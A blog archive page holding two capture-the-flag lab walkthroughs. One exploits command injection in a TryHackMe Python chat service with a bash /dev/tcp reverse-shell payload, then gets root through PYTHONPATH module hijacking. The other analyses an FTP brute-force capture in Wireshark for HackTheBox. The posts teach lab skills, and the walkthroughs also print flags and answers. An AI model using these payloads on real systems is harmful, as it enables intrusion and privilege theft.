Month: June 2025

Capture the Flag

TryHackMe Room Walkthrough: JPGChat

THM JPGChat Room LogoToday, we’re going to do a challenge room from TryHackMe called JPGChat. You can find it here. It is a free room rated as Easy, so feel free to follow along. The room description says, “Exploiting poorly made custom chatting service written in a certain language…”. If you take a look at the logo for this room, you can probably guess what that language is. Going in, I was already thinking that we were going to have to deal with some Python. All we get is the instruction to “Hack into the machine and retrieve the flag” and our two tasks are “Establish a foothold and get user.txt” and “Escalate your privileges to root and read root.txt”. Not a lot of frills, but pretty standard fare, so let’s get started.

The first thing I did was add the IP for my instance of this machine into my /etc/hosts file with the name jpgchat.thm. You don’t have to do this and (spoiler alert), I didn’t really need it or use it very much that way in this room.

Enumeration

nmap

The first thing I did was a basic nmap scan. I’ve taken to just doing a fast scan (-T4) of all TCP ports (-p-) with no scripts running just to find the open ports. I’ve been doing so many of these where the room creators have been avoiding ports in the “most common thousand” that nmap uses if you don’t specify, so I started doing this. Then, you can do a more in-depth scan against only those open ports (here I did -A, which enables OS detection, version detection, script scanning, and traceroute). You can see the results below. We have a standard SSH port open and a port 3000. We don’t see a web server version with port 3000, so this may or may not be a web site.

# Basic nmap
root@vici:~# nmap -T4 -p- 10.10.239.7
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-24 14:25 BST
Nmap scan report for jpgchat.thm (10.10.239.7)
Host is up (0.00038s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp
MAC Address: 02:90:3B:F1:10:2D (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds

# In-Depth after we found ports
root@vici:~# sudo nmap -A -T4 -p 22,3000 10.10.239.7
Starting Nmap 7.80 ( https://nmap.org ) at 2025-06-24 14:26 BST
Nmap scan report for jpgchat.thm (10.10.239.7)
Host is up (0.00054s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
|   256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
|_  256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, NULL: 
|     Welcome to JPChat
|     source code of this service can be found at our admin's github
|     MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_    REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=6/24%Time=685AA78A%P=x86_64-pc-linux-gnu%r(NU
SF:LL,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20this\x20
SF:service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\nMESSAG
SF:E\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(currentl
SF:y\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x20to\x20
SF:report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n")%r(Gen
SF:ericLines,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20t
SF:his\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\
SF:nMESSAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(c
SF:urrently\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x2
SF:0to\x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n"
SF:);
MAC Address: 02:90:3B:F1:10:2D (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.13
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.54 ms jpgchat.thm (10.10.239.7)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.28 seconds

Port 3000

Viewing Port 3000 with a Web Browser

View Source is only that text. It is not markup at all. There is nothing in the Headers that I can see in the response using the Developer Tools. That’s all weird. It is telling us to do stuff, but I can’t do what they are asking me to do. Because of that, and because of general CTF-ness, I’m going to connect with netcat and see if we can interact with it at all or get some more information than we’re getting from nmap or the browser.

root@vici:~# nc 10.10.239.7 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[MESSAGE]
There are currently 0 other users logged in
[MESSAGE]: hi
[MESSAGE]: wessyde
[MESSAGE]: exit
[MESSAGE]: [REPORT]
this report will be read by Mozzie-jpg
your name:
Me 
your report:
I'm just looking for information... gotcha Mozzie-jpg!
[MESSAGE]: ^C

Okay. So, I can send messages and I can report things. It says the report will be read by Mozzie-jpg. That’s a pretty unique username. Let’s see if we can search that and find anything. The message did say that the source can be found on the admin’s GitHub, this might be what points us to it. And, after about 3 seconds of Googling, I found Mozzie-jpg’s GitHub and then found the repo for this project https://github.com/Mozzie-jpg/JPChat.
Mozzie-jpg's GitHub for this Project

Inside, the source of jpchat.py is this:

#!/usr/bin/env python3

import os

print ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')

def report_form():

	print ('this report will be read by Mozzie-jpg')
	your_name = input('your name:\n')
	report_text = input('your report:\n')
	os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
	os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)

def chatting_service():

	print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
	print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
	message = input('')

	if message == '[REPORT]':
		report_form()
	if message == '[MESSAGE]':
		print ('There are currently 0 other users logged in')
		while True:
			message2 = input('[MESSAGE]: ')
			if message2 == '[REPORT]':
				report_form()

chatting_service()

Exploitation

So there doesn’t seem to be any exploit within the chatting function, but [REPORT] sure does. It runs an os.system() Python command with a good old bash -c. If we just do some command injection with nothing more exciting than a semicolon, we’re going to have some wins here. Here’s what I did next to set up a netcat listener, do the command injection to call out to it, then go back and see the connection.

# In a new tab
root@vici:~# nc -lvnp 4444

# In original tab
root@vici:~# nc 10.10.239.7 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[REPORT]
this report will be read by Mozzie-jpg
your name:
pwn3d
your report:
;bash -i >& /dev/tcp/10.10.136.81/4444 0>&1;

# Back in the new tab...
root@vici:~# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.239.7 55804
bash: cannot set terminal process group (1422): Inappropriate ioctl for device
bash: no job control in this shell
wes@ubuntu-xenial:/$ 

We’re in. Let’s look around and find the user flag.

cd /home/wes
wes@ubuntu-xenial:~$ ls
ls
user.txt
wes@ubuntu-xenial:~$ cat user.txt
cat user.txt
JPC{487030410a543503cbb59ece16178318}

Privilege Escalation

Recon as Wes

Let’s take a look around. I check the groups that Wes belongs to and his sudo privileges. It ends up that he has no interesting groups and can run sudo on one python file.

wes@ubuntu-xenial:~$ id
id
uid=1001(wes) gid=1001(wes) groups=1001(wes)

# No Good Groups, does sudo -l work?
wes@ubuntu-xenial:~$ sudo -l
sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py

# What is in there?
wes@ubuntu-xenial:~$ cat /opt/development/test_module.py
cat /opt/development/test_module.py
#!/usr/bin/env python3

from compare import *

print(compare.Str('hello', 'hello', 'hello'))

The file doesn’t do very much, but it does import from a module called compare. So, what I can do is make my own compare module and edit my Python path information so that mine module is called instead of the real one and then my code will get executed as root. So, I make my own compare.py file, edit the path to have /home/wes in it.

# I tried a few things but I couldn't get editors to work, 
# nano not at all and vi was weird/buggy 
# I was too lazy to set up .ssh keys for wes to SSH in and 
# have a better shell experience
# I had already upgraded my shell with a Python pty.spawn() command, 
# but that didn't seem to help
# so i did this the hacky way.  I wasn't sure how to do this in one 
# line with a newline so I did it in two steps
wes@ubuntu-xenial:~$ echo "import os" > compare.py
echo "import os" > compare.py
wes@ubuntu-xenial:~$ echo "os.system('/bin/bash')" >> compare.py
echo "os.system('/bin/bash')" >> compare.py
wes@ubuntu-xenial:~$ cat compare.py
cat compare.py
import os
os.system('/bin/bash')
wes@ubuntu-xenial:~$ chmod +x compare.py
chmod +x compare.py
wes@ubuntu-xenial:~$ export PYTHONPATH=/home/wes
export PYTHONPATH=/home/wes

Getting the Root Shell

After that, we just have to run it and then grab the root flag. Everything below the flag is from the root.txt file, these are the room creator’s shoutouts.

# Now to run it
wes@ubuntu-xenial:~$ sudo /usr/bin/python3 /opt/development/test_module.py
sudo /usr/bin/python3 /opt/development/test_module.py
root@ubuntu-xenial:~# whoami
whoami
root
root@ubuntu-xenial:~# cd /root
cd /root
root@ubuntu-xenial:/root# ls
ls
root.txt
root@ubuntu-xenial:/root# cat root.txt
cat root.txt
JPC{665b7f2e59cf44763e5a7f070b081b0a}

Also huge shoutout to Westar for the OSINT idea
i wouldn't have used it if it wasnt for him.
and also thank you to Wes and Optional for all the help while developing

You can find some of their work here:
https://github.com/WesVleuten
https://github.com/optionalCTF
root@ubuntu-xenial:/root# 

That’s it. A good solid beginner room that had a little OSINT, a little code review, some command injection, and a little Python scripting. Hope you enjoyed it!

Capture the Flag

Hack the Box Walkthrough: Origins

HTB Origins LogoWe’re going to keep the pattern going and attack another free Sherlock from HackTheBox called Origins. This is rated “Very Easy” and just consists of a .zip file download containing a .pcap file. As is customary, the password to extract the files is hacktheblue.

Here’s our scenario for this adventure:
A major incident has recently occurred at Forela. Approximately 20 GB of data were stolen from internal s3 buckets and the attackers are now extorting Forela. During the root cause analysis, an FTP server was suspected to be the source of the attack. It was found that this server was also compromised and some data was stolen, leading to further compromises throughout the environment. You are provided with a minimal PCAP file. Your goal is to find evidence of brute force and data exfiltration.

Since our only evidence is in a .pcap file, we’ll have to fire up Wireshark (or your network traffic analyzer of choice).

Task 1: What is the attacker’s IP address?

Looking in the ftp.pcap file, we have multiple protocols represented. Since we know that the ultimate compromise came from FTP, let’s start by filtering traffic that is using the FTP protocol. Adding this as a filter will do the trick: _ws.col.protocol == “FTP”. That gets us down to 163 packets out of the 547 in the file. We can see over and over again that the main source making the requests is 15.206.185.207. If you look, the first few entries have a source of 172.31.45.144, but that is responding. The one making the request for the admin user is 15.206.185.207. Then 172.31.45.144 asks for the password. This makes it definitive which side is which.

Relevant section of the .pcap file showing the answer to task 1

Task 1 Answer: 15.206.185.207

Task 2: It’s critical to get more knowledge about the attackers, even if it’s low fidelity. Using the geolocation data of the IP address used by the attackers, what city do they belong to?

You can go to many different places for this. I’m getting this lookup from this site. Just search the IP and get the city.

Task 2 Answer: Mumbai

Task 3: Which FTP application was used by the backup server? Enter the full name and version. (Format: Name Version)

Take a look back at the filtered capture from Task 1. You can see what the server (172.31.45.144) is responding.

Task 3 Answer: vsFTPd 3.0.5

Task 4: The attacker has started a brute force attack on the server. When did this attack start?

Let’s do an additional filter for only traffic with this IP as the source within the FTP traffic. We can definitely see a brute force attempt happening. If we click the first one (packet 100), it will show details in the bottom left pane. If we expand the Frame 100 section, we can see Arrival Time, UTC Arrival Time, and Epoch Arrival time. The format for the HTB answer wanted one of the two “normal” dates (and not the epoch time). I guessed they wanted UTC as my first shot as that is pretty standard, and that was it.

Relevant section of the .pcap file showing the answer to task 4

Task 4 Answer: 2024-05-03 04:12:54

Task 5: What are the correct credentials that gave the attacker access? (Format username:password)

For this one, I just scrolled down to the end of the attack. I figured the attack would stop when he was successful. When I got to the last row that had PASS in it (number 407). I then right clicked on it and chose Follow -> TCP Stream Ctrl+Alt+Shift+T. That brings up the entire “conversation” in a window and also adds a filter tcp.stream eq 33 so that you now can see all of the individual pieces that make up what has been assembled for us. But from here, we can see what worked.

220 (vsFTPd 3.0.5)

USER forela-ftp

331 Please specify the password.

PASS ftprocks69$

230 Login successful.

SYST

215 UNIX Type: L8

FEAT

211-Features:
 EPRT
 EPSV
 MDTM
 PASV
 REST STREAM
 SIZE
 TVFS
211 End

EPSV

229 Entering Extended Passive Mode (|||63192|)

LIST

150 Here comes the directory listing.
226 Directory send OK.

EPSV

229 Entering Extended Passive Mode (|||40790|)

NLST

150 Here comes the directory listing.
226 Directory send OK.

TYPE I

200 Switching to Binary mode.

SIZE Maintenance-Notice.pdf

213 27855

EPSV

229 Entering Extended Passive Mode (|||9759|)

RETR Maintenance-Notice.pdf

150 Opening BINARY mode data connection for Maintenance-Notice.pdf (27855 bytes).
226 Transfer complete.

MDTM Maintenance-Notice.pdf

213 20240503034329

SIZE s3_buckets.txt

213 268

EPSV

229 Entering Extended Passive Mode (|||23530|)

RETR s3_buckets.txt

150 Opening BINARY mode data connection for s3_buckets.txt (268 bytes).
226 Transfer complete.

MDTM s3_buckets.txt

213 20240503034852

EPSV

229 Entering Extended Passive Mode (|||15028|)

STOR /home/cyberjunkieX0X/HACKED.txt

550 Permission denied.

QUIT

221 Goodbye.

Task 5 Answer: forela-ftp:ftprocks69$

Task 6: The attacker has exfiltrated files from the server. What is the FTP command used to download the remote files?

Look at the command listing from Task 5. You can see it there.

Task 6 Answer: RETR

Task 7: Attackers were able to compromise the credentials of a backup SSH server. What is the password for this SSH server?

Looking at the conversation in Task 5, I don’t see any passwords directly compromised during that interaction. My guess is that they were in some of the files. Let’s take a look at the files that were downloaded. We can see that it looks like the attacker got a file called Maintenance-Notice.pdf and one called s3_buckets.txt. Let’s just go up to the File Menu and select Export Objects -> FTP-DATA. We can then choose Save All and put those files in the directory of our choosing.

The Wireshark Menu options to export the files

The dialog box to save the files

s3_buckets.txt just contains this

https://2023-coldstorage.s3.amazonaws.com # bulk data from 2023, if required anything from here contact simon or alonzo. Retention period is 4 years
https://2022-warmstor.s3.amazonaws.com # pending audit, email alonzo at archivebackups@forela.co.uk for any clearance

Maintenance-Notice.pdf has a lot of information, but contains this juicy paragraph:

For team members requiring urgent access to the backup SSH servers during the maintenance
period, you can use the temporary password "**B@ckup2024!**" - kindly ensure this information is
handled securely and do not share it outside of our team.

Task 7 Answer: **B@ckup2024!**

Task 8: What is the s3 bucket URL for the data archive from 2023?

Just check up in the contents of s3_buckets.txt.

Task 8 Answer: https://2023-coldstorage.s3.amazonaws.com

Task 9: The scope of the incident is huge as Forela’s s3 buckets were also compromised and several GB of data were stolen and leaked. It was also discovered that the attackers used social engineering to gain access to sensitive data and extort it. What is the internal email address used by the attacker in the phishing email to gain access to sensitive data stored on s3 buckets?

This is also in the s3_buckets.txt file.

Task 9 Answer: archivebackups@forela.co.uk

And there we go. That was a fun little exploration of some of the things that Wireshark can do for us.